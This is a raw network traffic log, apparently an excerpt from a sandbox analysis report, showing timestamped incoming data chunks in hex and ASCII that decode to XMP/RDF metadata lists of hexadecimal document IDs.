f:li>13C9D803C91E3AA8F7F36225F6161E0E</rdf:li> <rdf:li>13CE81F2B7B4

2022-05-26 11:46:49 UTC 3925 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 32 31 34 36 44 32 32 46 37 31 30 44 45 37 30 41 32 37 30 36 42 32 30 43 32 38 
44 39 43 36 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 31 35 44 35 44 44 42 42 33 46 34 33 45 43 
30 43 42 46 35 44 46 45 36 34 41 37 34 42 46 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 31 36 30 3
3 43 31 46 42 32 44 46 36 45 36 35 36 45 44 31 31 46 45 33 30 39 43 33 30 31 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 32 31 36 42 32 33 43 46 35 38 30 32 42 35 38 36 31 34 37 46 46 41 37 45 42 37 44 43 35 46 43 41 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 31 36 44 42 36 36 39 41 38 41 38 46 38 37 42 33 38 37 35 32 43 
35 38 38 31 37 45 35 32 33 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
Data Ascii:  <rdf:li>2146D22F710DE70A2706B20C28D9C65B</rdf:li> <rdf:li>215D5DDBB3F43EC0CBF5DFE64A74B
F84</rdf:li> <rdf:li>21603C1FB2DF6E656ED11FE309C301D4</rdf:li> <rdf:li>216B23CF5802B586147FFA7EB7DC5
FCA</rdf:li> <rdf:li>216DB669A8A8F87B38752C58817E523C</rdf:li> <rdf

2022-05-26 11:46:49 UTC 3997 IN Data Raw: 3a 6c 69 3e 32 44 41 46 43 45 37 36 36 43 33 34 39 45 33 32 46 44 41 45 31 39 43 35 30 41 36 42 33 44 45 
33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 42 33 41 31 44 35 36 30 36 37 45 34 36 33 41 35 34 39 
44 30 46 42 33 46 43 30 43 35 41 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 44 35 30 46 30 39 45 3
4 44 36 46 39 38 46 41 30 32 30 41 32 36 38 37 41 36 35 37 31 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 32 44 45 37 38 41 44 37 35 45 33 43 37 45 35 30 43 35 35 31 39 33 43 44 38 41 31 32 44 31 46 37 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 46 35 46 43 46 32 30 31 31 37 41 35 43 34 35 41 44 34 35 45 45 42 42 31 41 
38 37 36 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 
Data Ascii: :li>2DAFCE766C349E32FDAE19C50A6B3DE3</rdf:li> <rdf:li>2DB3A1D56067E463A549D0FB3FC0C5A2</
rdf:li> <rdf:li>2DD50F09E4D6F98FA020A2687A657134</rdf:li> <rdf:li>2DE78AD75E3C7E50C55193CD8A12D1F7</
rdf:li> <rdf:li>2DF5FCF20117A5C45AD45EEBB1A876D3</rdf:li> <rdf:li>2
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2022-05-26 11:46:49 UTC 4077 IN Data Raw: 69 3e 33 33 43 33 42 33 41 30 43 35 43 37 44 44 33 32 44 44 32 45 38 44 37 33 41 33 30 41 37 34 38 45 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 43 44 45 39 45 35 44 41 30 44 37 30 39 31 38 30 36 34 36 45 41 
32 31 36 43 45 44 37 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 43 46 37 35 43 39 31 31 33 38 
42 36 43 37 31 41 39 33 46 46 44 39 32 45 37 45 31 32 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 3
3 44 46 42 42 46 36 34 31 38 35 46 37 37 31 41 36 31 33 30 31 35 30 43 44 34 43 42 35 43 43 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 33 33 45 30 33 46 34 35 37 32 43 46 30 42 44 46 36 31 39 38 36 36 30 44 35 35 32 41 38 
44 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 45 
Data Ascii: i>33C3B3A0C5C7DD32DD2E8D73A30A748E</rdf:li> <rdf:li>33CDE9E5DA0D709180646EA216CED70E</rd
f:li> <rdf:li>33CF75C91138B6C71A93FFD92E7E1288</rdf:li> <rdf:li>33DFBBF64185F771A6130150CD4CB5CC</rdf:li> 
<rdf:li>33E03F4572CF0BDF6198660D552A8D95</rdf:li> <rdf:li>33E

2022-05-26 11:46:49 UTC 4172 IN Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 31 36 39 37 34 35 38 45 31 33 33 34 37 45 44 34 34 
45 32 45 39 41 39 36 37 31 32 34 44 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 31 36 44 46 37 30 
38 41 30 39 39 46 44 43 45 42 44 44 32 32 46 37 35 30 39 37 35 35 45 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 34 31 36 46 43 43 44 41 44 35 43 44 46 39 35 38 39 38 43 42 33 41 36 38 44 39 34 35 43 43 44 41 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 31 37 36 44 39 33 38 33 41 45 44 45 43 30 45 45 45 35 30 45 32 30 38 
34 34 44 45 31 31 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 31 38 42 44 41 44 34 31 32 44 44 33 
43 31 37 46 46 44 37 35 44 39 36 32 45 31 44 34 33 36 42 3c 2f 72 64 66 
Data Ascii: </rdf:li> <rdf:li>41697458E13347ED44E2E9A967124D63</rdf:li> <rdf:li>416DF708A099FDCEBDD2
2F7509755E84</rdf:li> <rdf:li>416FCCDAD5CDF95898CB3A68D945CCDA</rdf:li> <rdf:li>4176D9383AEDEC0EEE50
E20844DE11B2</rdf:li> <rdf:li>418BDAD412DD3C17FFD75D962E1D436B</rdf

2022-05-26 11:46:49 UTC 4188 IN Data Raw: 42 31 42 38 35 46 41 39 37 42 31 30 42 45 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 45 
36 42 45 37 35 42 46 34 46 42 39 46 37 43 39 44 30 43 33 36 46 32 37 35 46 37 35 43 30 45 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 34 45 37 42 37 41 45 46 37 32 39 42 38 41 44 46 43 30 38 45 43 34 39 37 42 43 42 43 44 41 
33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 45 37 46 46 35 33 43 45 44 32 43 33 42 46 32 31 38 31 4
6 34 38 35 32 39 39 30 36 30 46 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 45 38 34 37 41 30 45 34 
45 32 31 33 35 36 33 36 38 42 34 37 39 32 31 37 39 35 43 32 41 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 34 45 38 45 30 31 44 46 37 33 39 32 32 35 38 36 30 34 36 31 43 
Data Ascii: B1B85FA97B10BEF6</rdf:li> <rdf:li>4E6BE75BF4FB9F7C9D0C36F275F75C0E</rdf:li> <rdf:li>4E7B
7AEF729B8ADFC08EC497BCBCDA31</rdf:li> <rdf:li>4E7FF53CED2C3BF2181F485299060FB7</rdf:li> <rdf:li>4E84
7A0E4E21356368B47921795C2AFC</rdf:li> <rdf:li>4E8E01DF739225860461C

2022-05-26 11:46:49 UTC 4212 IN Data Raw: 46 34 42 46 42 36 37 44 37 30 31 44 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 32 34 
46 46 32 32 36 44 32 36 45 43 44 46 36 42 37 44 34 36 35 36 43 35 32 31 34 34 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 35 35 32 39 45 44 41 38 32 42 35 45 32 38 43 35 36 35 39 35 44 39 33 42 33 30 33 46 36 33 35 46 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 32 43 32 32 33 38 35 36 41 35 37 34 32 30 31 36 43 35 30 3
7 37 42 44 34 33 39 44 38 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 33 34 41 30 37 43 45 35 41 
32 44 39 39 36 35 43 33 41 43 37 46 34 30 38 35 33 30 41 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
35 35 34 35 31 46 33 34 33 38 43 32 39 45 32 33 38 46 30 30 36 32 39 
Data Ascii: F4BFB67D701D9E</rdf:li> <rdf:li>5524FF226D26ECDF6B7D4656C5214466</rdf:li> <rdf:li>5529ED
A82B5E28C56595D93B303F635F</rdf:li> <rdf:li>552C223856A5742016C5077BD439D80C</rdf:li> <rdf:li>5534A0
7CE5A2D9965C3AC7F408530A05</rdf:li> <rdf:li>55451F3438C29E238F00629

2022-05-26 11:46:49 UTC 4276 IN Data Raw: 45 33 34 34 36 46 46 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 41 45 37 30 31 37 37 
37 41 42 45 30 39 36 46 44 37 31 45 39 33 33 39 31 42 31 36 45 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 36 33 42 30 39 34 31 36 30 41 36 46 38 39 31 33 34 42 42 38 43 42 31 32 33 37 30 31 37 36 39 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 43 45 37 34 33 33 31 35 31 41 44 41 44 35 33 32 44 38 33 34 45 35 31 32 
38 34 30 32 41 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 43 45 46 45 37 39 30 39 44 30 34 43 42 
39 41 42 39 46 38 38 34 45 37 30 44 33 45 39 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 44 34 
35 38 42 44 36 30 34 44 31 32 35 37 38 38 38 34 33 43 33 30 39 43 41 39 
Data Ascii: E3446FF94</rdf:li> <rdf:li>63AE701777ABE096FD71E93391B16E89</rdf:li> <rdf:li>63B094160A6
F89134BB8CB1237017694</rdf:li> <rdf:li>63CE7433151ADAD532D834E5128402A0</rdf:li> <rdf:li>63CEFE7909D
04CB9AB9F884E70D3E949</rdf:li> <rdf:li>63D458BD604D125788843C309CA9

2022-05-26 11:46:49 UTC 4323 IN Data Raw: 37 45 38 46 44 35 31 43 44 31 45 46 37 42 39 39 34 35 39 46 36 36 41 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 37 31 45 43 41 36 36 33 39 36 36 36 33 39 38 42 42 36 44 33 35 38 31 31 45 37 37 45 44 46 38 37 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 31 46 46 44 31 44 34 35 35 33 46 41 45 39 32 34 42 32 33 31 
44 32 36 38 36 43 42 38 35 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 32 31 34 43 33 32 43 42 42 3
7 38 30 43 32 38 34 39 31 45 38 35 46 46 33 34 45 46 42 30 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
37 32 32 43 36 45 37 41 35 43 34 46 32 32 37 35 37 31 35 46 46 41 37 37 42 36 32 31 42 37 46 42 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 37 32 33 41 36 46 34 32 38 32 33 35 
Data Ascii: 7E8FD51CD1EF7B99459F66A7E</rdf:li> <rdf:li>71ECA6639666398BB6D35811E77EDF87</rdf:li> <rd
f:li>71FFD1D4553FAE924B231D2686CB8554</rdf:li> <rdf:li>7214C32CBB780C28491E85FF34EFB033</rdf:li> <rd
f:li>722C6E7A5C4F2275715FFA77B621B7FB</rdf:li> <rdf:li>723A6F428235

2022-05-26 11:46:49 UTC 4371 IN Data Raw: 39 44 39 44 35 46 46 46 46 39 43 34 37 45 44 39 42 36 35 45 45 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 37 38 30 44 37 44 37 43 43 42 31 46 45 32 43 30 32 39 30 38 41 35 37 30 37 34 45 46 43 35 44 32 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 38 30 45 35 36 41 33 33 38 39 41 38 31 34 34 46 36 34 31 43 43 43 
36 41 46 44 41 41 30 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 38 31 35 38 33 45 45 45 42 42 32 3
5 31 39 43 42 32 37 39 36 46 35 44 45 43 32 35 43 42 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 38 
31 38 41 33 44 31 30 32 46 34 42 31 44 44 37 37 45 32 43 45 44 44 31 31 34 35 46 34 33 42 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 37 38 31 46 38 44 37 30 36 41 30 38 44 33 
Data Ascii: 9D9D5FFFF9C47ED9B65EE61</rdf:li> <rdf:li>780D7D7CCB1FE2C02908A57074EFC5D2</rdf:li> <rdf:
li>780E56A3389A8144F641CCC6AFDAA09E</rdf:li> <rdf:li>781583EEEBB2519CB2796F5DEC25CB8D</rdf:li> <rdf:
li>7818A3D102F4B1DD77E2CEDD1145F43B</rdf:li> <rdf:li>781F8D706A08D3

2022-05-26 11:46:49 UTC 4387 IN Data Raw: 72 64 66 3a 6c 69 3e 38 35 45 46 41 34 36 37 46 45 36 37 33 39 38 42 46 39 34 36 45 43 34 34 36 36 41 41 
32 41 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 35 46 46 32 44 37 34 37 42 35 33 39 43 35 32 45 
36 33 34 43 35 46 45 34 43 37 32 34 39 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 31 34 45 39 3
9 41 39 45 33 43 38 32 46 44 44 39 38 31 45 39 45 46 41 30 38 35 41 46 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 38 36 32 30 31 30 46 42 31 37 37 36 46 38 32 44 45 37 38 42 39 35 32 45 38 37 38 37 41 31 45 46 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 32 31 33 35 34 46 36 35 46 43 44 37 38 35 35 31 46 42 31 31 38 43 
44 30 38 43 41 43 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
Data Ascii: rdf:li>85EFA467FE67398BF946EC4466AA2A3E</rdf:li> <rdf:li>85FF2D747B539C52E634C5FE4C72497
0</rdf:li> <rdf:li>8614E99A9E3C82FDD981E9EFA085AF77</rdf:li> <rdf:li>862010FB1776F82DE78B952E8787A1E
F</rdf:li> <rdf:li>8621354F65FCD78551FB118CD08CAC1B</rdf:li> <rdf:l
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2022-05-26 11:46:49 UTC 4403 IN Data Raw: 32 37 30 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 33 46 38 32 31 35 44 43 36 36 44 46 
44 35 37 30 31 43 39 31 46 36 38 36 34 35 46 36 34 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 34 
30 33 34 45 32 37 37 43 30 33 38 32 44 34 44 32 43 42 32 46 36 34 43 41 42 31 34 32 39 36 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 39 34 30 45 36 39 38 35 44 33 46 32 45 38 44 41 42 30 37 45 34 36 45 43 46 45 43 38 33 42 
33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 34 31 32 45 43 32 41 32 38 37 43 46 42 34 44 37 34 41 
36 33 46 38 36 36 32 42 32 39 36 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 34 33 32 45 38 35 45 
38 39 38 44 42 31 30 45 36 36 30 31 44 42 31 39 32 41 34 36 41 38 41 34 
Data Ascii: 27090</rdf:li> <rdf:li>93F8215DC66DFD5701C91F68645F64B1</rdf:li> <rdf:li>94034E277C0382D
4D2CB2F64CAB14296</rdf:li> <rdf:li>940E6985D3F2E8DAB07E46ECFEC83B3E</rdf:li> <rdf:li>9412EC2A287CFB4
D74A63F8662B2964F</rdf:li> <rdf:li>9432E85E898DB10E6601DB192A46A8A4

2022-05-26 11:46:49 UTC 4451 IN Data Raw: 39 41 33 37 37 32 43 37 33 33 36 44 32 36 44 37 34 42 36 32 32 31 41 42 31 42 44 46 46 45 36 42 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 41 33 38 39 39 42 46 32 30 36 45 34 30 42 42 41 45 31 46 45 30 34 46 
39 36 36 33 44 43 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 41 33 39 39 42 36 45 33 45 37 45 36 4
1 37 35 31 44 31 31 34 43 36 32 45 43 43 36 46 44 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 41 34 
37 31 38 46 35 46 42 41 42 41 45 30 45 36 39 38 44 34 46 37 43 31 34 41 32 45 39 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 39 41 37 33 43 44 35 45 45 43 33 42 43 42 38 43 39 32 45 44 33 46 32 34 39 37 38 39 37 30 33 
34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 41 38 31 33 
Data Ascii: 9A3772C7336D26D74B6221AB1BDFFE6B</rdf:li> <rdf:li>9A3899BF206E40BBAE1FE04F9663DC69</rdf:li> 
<rdf:li>9A399B6E3E7E6A751D114C62ECC6FD41</rdf:li> <rdf:li>9A4718F5FBABAE0E698D4F7C14A2E93E</rdf:li> 
<rdf:li>9A73CD5EEC3BCB8C92ED3F2497897034</rdf:li> <rdf:li>9A813

2022-05-26 11:46:49 UTC 4499 IN Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 37 39 43 37 38 38 39 35 38 41 35 37 42 36 35 46 31 45 
31 39 45 38 42 33 34 42 41 41 41 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 37 41 31 32 35 35 46 
46 33 38 36 36 37 39 35 42 43 42 32 37 30 36 31 30 32 43 37 42 33 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 41 37 41 37 45 45 46 41 35 35 37 32 46 43 45 42 35 44 30 44 35 46 41 34 37 38 43 38 43 41 43 46 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 37 42 32 45 31 35 37 43 32 45 42 42 33 45 34 36 46 35 36 42 31 35 45 31 
35 44 36 38 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 37 42 34 42 36 36 44 43 42 39 45 38 32 
33 43 31 41 31 31 42 35 42 35 32 31 44 39 30 35 31 34 3c 2f 72 64 66 3a 6c 
Data Ascii: rdf:li> <rdf:li>A79C788958A57B65F1E19E8B34BAAAE2</rdf:li> <rdf:li>A7A1255FF3866795BCB270
6102C7B3C8</rdf:li> <rdf:li>A7A7EEFA5572FCEB5D0D5FA478C8CACF</rdf:li> <rdf:li>A7B2E157C2EBB3E46F56B1
5E15D68F3B</rdf:li> <rdf:li>A7B4B66DCB9E823C1A11B5B521D90514</rdf:l

2022-05-26 11:46:49 UTC 4538 IN Data Raw: 45 30 30 34 35 45 42 32 36 30 35 41 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 35 31 39 
32 37 42 35 42 30 33 33 37 37 41 34 43 36 46 38 36 35 35 44 39 44 45 39 44 42 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 42 35 32 31 45 37 30 36 39 35 30 31 33 32 37 38 39 42 33 46 38 41 34 31 31 35 38 42 45 42 33 34 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 35 33 30 37 32 41 39 33 34 33 30 38 33 35 46 44 44 30 46 30 3
4 32 46 44 36 32 38 31 32 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 35 33 31 38 36 30 41 41 33 44 
41 43 42 41 42 41 36 43 35 41 30 42 30 41 41 46 31 45 42 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
42 35 33 31 46 34 30 43 39 42 34 37 41 38 46 43 44 31 36 36 32 38 35 
Data Ascii: E0045EB2605A4A</rdf:li> <rdf:li>B51927B5B03377A4C6F8655D9DE9DB23</rdf:li> <rdf:li>B521E7
06950132789B3F8A41158BEB34</rdf:li> <rdf:li>B53072A93430835FDD0F042FD628123B</rdf:li> <rdf:li>B53186
0AA3DACBABA6C5A0B0AAF1EB9E</rdf:li> <rdf:li>B531F40C9B47A8FCD166285

2022-05-26 11:46:49 UTC 4586 IN Data Raw: 35 46 43 36 44 37 44 38 39 32 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 41 39 35 45 
37 42 30 46 41 43 35 30 33 44 30 36 30 30 33 35 38 37 42 46 34 34 35 42 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 42 42 42 36 39 30 32 41 46 30 43 39 41 32 45 45 46 37 37 32 30 42 36 31 37 37 42 45 41 32 33 36 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 42 44 30 31 44 44 38 41 36 46 36 33 34 45 42 34 30 35 31 36 36 
38 37 44 46 37 34 44 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 43 33 42 31 34 38 34 46 42 31 
35 44 32 30 36 46 35 33 34 32 37 36 32 43 30 44 42 35 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 
42 43 36 37 36 37 43 38 36 32 34 32 37 45 36 33 43 30 42 32 37 36 30 31 
Data Ascii: 5FC6D7D892F8</rdf:li> <rdf:li>BBA95E7B0FAC503D06003587BF445BBB</rdf:li> <rdf:li>BBB6902A
F0C9A2EEF7720B6177BEA236</rdf:li> <rdf:li>BBBD01DD8A6F634EB40516687DF74D30</rdf:li> <rdf:li>BBC3B148
4FB15D206F5342762C0DB514</rdf:li> <rdf:li>BBC6767C862427E63C0B27601

2022-05-26 11:46:49 UTC 4634 IN Data Raw: 34 35 34 39 34 30 37 41 36 44 34 39 38 34 35 39 37 30 46 30 45 38 30 32 41 42 43 39 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 43 39 39 46 38 30 39 44 43 45 33 33 39 46 30 33 42 31 38 32 33 43 39 45 36 39 36 31 37 
35 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 41 35 45 45 46 43 31 44 46 46 32 30 42 31 30 41 
38 39 36 34 41 36 45 39 41 30 43 33 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 41 45 34 32 42 3
5 35 32 44 43 35 42 35 36 42 30 36 30 37 38 33 38 46 36 36 35 42 44 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 43 39 42 46 34 37 39 35 32 31 45 35 32 35 30 39 30 32 30 37 37 41 36 31 43 37 36 43 39 41 42 41 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 43 36 37 30 31 43 37 
Data Ascii: 4549407A6D49845970F0E802ABC9</rdf:li> <rdf:li>C99F809DCE339F03B1823C9E69617551</rdf:li> 
<rdf:li>C9A5EEFC1DFF20B10A8964A6E9A0C30F</rdf:li> <rdf:li>C9AE42B552DC5B56B0607838F665BD13</rdf:li> 
<rdf:li>C9BF479521E5250902077A61C76C9ABA</rdf:li> <rdf:li>C9C6701C7

2022-05-26 11:46:49 UTC 4666 IN Data Raw: 32 45 32 34 34 41 38 32 33 35 36 31 30 38 36 34 41 37 33 46 45 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 44 36 43 39 37 31 44 45 38 39 30 44 31 43 31 44 43 46 42 32 34 34 37 42 38 39 31 34 33 46 38 41 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 36 43 44 43 30 42 31 33 35 34 38 46 31 31 36 31 30 30 43 33 32 35 
35 44 39 34 44 36 34 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 36 43 44 46 32 43 44 41 46 36 44 3
3 41 37 37 42 36 33 34 31 42 36 33 36 45 44 36 39 31 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 36 
45 32 46 37 45 45 33 33 32 39 38 42 37 34 46 33 43 42 41 31 38 41 34 43 39 39 45 46 30 43 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 44 36 46 30 46 46 44 44 39 32 45 39 46 36 
Data Ascii: 2E244A8235610864A73FE3B</rdf:li> <rdf:li>D6C971DE890D1C1DCFB2447B89143F8A</rdf:li> <rdf:
li>D6CDC0B13548F116100C3255D94D6428</rdf:li> <rdf:li>D6CDF2CDAF6D3A77B6341B636ED69172</rdf:li> <rdf:
li>D6E2F7EE33298B74F3CBA18A4C99EF0C</rdf:li> <rdf:li>D6F0FFDD92E9F6

2022-05-26 11:46:49 UTC 4705 IN Data Raw: 43 32 44 42 46 45 37 30 45 36 41 35 30 33 42 42 39 45 34 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 44 44 34 42 36 41 35 31 45 43 43 30 33 33 44 41 43 45 34 30 42 45 34 45 32 46 38 38 38 44 31 33 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 44 35 38 35 44 46 44 45 35 38 39 43 35 36 46 39 42 42 42 45 35 42 44 38 
32 44 34 34 35 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 44 37 34 30 42 38 38 30 32 32 41 34 31 3
5 38 42 39 41 45 31 30 32 41 43 35 35 43 45 37 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 44 37 42 
32 36 39 41 41 43 46 43 42 30 46 41 33 34 45 33 33 37 36 43 41 42 34 34 31 38 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 44 44 37 46 43 43 32 31 33 36 35 41 31 39 38 44 
Data Ascii: C2DBFE70E6A503BB9E45B</rdf:li> <rdf:li>DD4B6A51ECC033DACE40BE4E2F888D13</rdf:li> <rdf:li
>DD585DFDE589C56F9BBBE5BD82D445C5</rdf:li> <rdf:li>DD740B88022A4158B9AE102AC55CE785</rdf:li> <rdf:li
>DD7B269AACFCB0FA34E3376CAB441860</rdf:li> <rdf:li>DD7FCC21365A198D
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2022-05-26 11:46:49 UTC 4721 IN Data Raw: 66 3a 6c 69 3e 45 41 34 33 36 34 35 44 44 46 42 32 45 41 33 43 35 35 46 38 34 31 45 38 45 39 36 31 43 35 
33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 41 34 34 35 41 46 42 37 31 34 32 43 36 46 39 36 37 35 
32 45 42 39 33 45 46 46 34 37 46 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 41 34 37 32 46 32 38 3
8 38 44 46 42 37 44 42 43 45 30 43 42 39 39 41 45 33 38 46 32 34 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 45 41 35 38 42 45 39 37 30 32 31 43 39 39 46 31 35 33 46 43 44 44 33 39 31 41 30 35 36 42 43 38 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 41 35 38 45 42 46 41 35 37 46 45 35 41 32 45 31 44 45 35 44 31 45 39 46 41 
37 35 37 46 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
Data Ascii: f:li>EA43645DDFB2EA3C55F841E8E961C530</rdf:li> <rdf:li>EA445AFB7142C6F96752EB93EFF47F5D<
/rdf:li> <rdf:li>EA472F2888DFB7DBCE0CB99AE38F24AF</rdf:li> <rdf:li>EA58BE97021C99F153FCDD391A056BC8<
